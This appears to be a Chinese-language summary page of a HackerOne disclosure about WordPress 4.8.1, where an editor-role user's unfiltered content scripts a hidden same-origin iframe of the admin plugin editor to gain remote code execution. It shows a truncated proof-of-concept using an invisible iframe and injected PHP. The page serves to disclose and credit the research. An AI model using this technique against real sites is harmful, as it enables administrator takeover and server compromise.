Wordpress 4.8.1 - Rogue editor leads to RCE. And the risks of same origin frame scripting in general
该报告还没有中文解读。
原文摘录
摘自原文(2791 字符中的一小部分)
Background This report is mainly about how a user with the role of editor, expectedly can post unfiltered content but unexpectedly can pwn an administrator with a RCE chain due to same origin frame scripting.
原文中的代码
<iframe src="http://127.0.0.1:8090/wp-admin/plugin-editor.php?file=hello.php" style="opacity:0">
</iframe>
<script>
setTimeout(function() {
var p = "<?php phpinfo();"
// full read/write control over dom, do anything(!)
var d = document.querySelector("iframe").contentWindow.document;
var c = …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 WordPress 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @skansing · 版权归作者与 WordPress 所有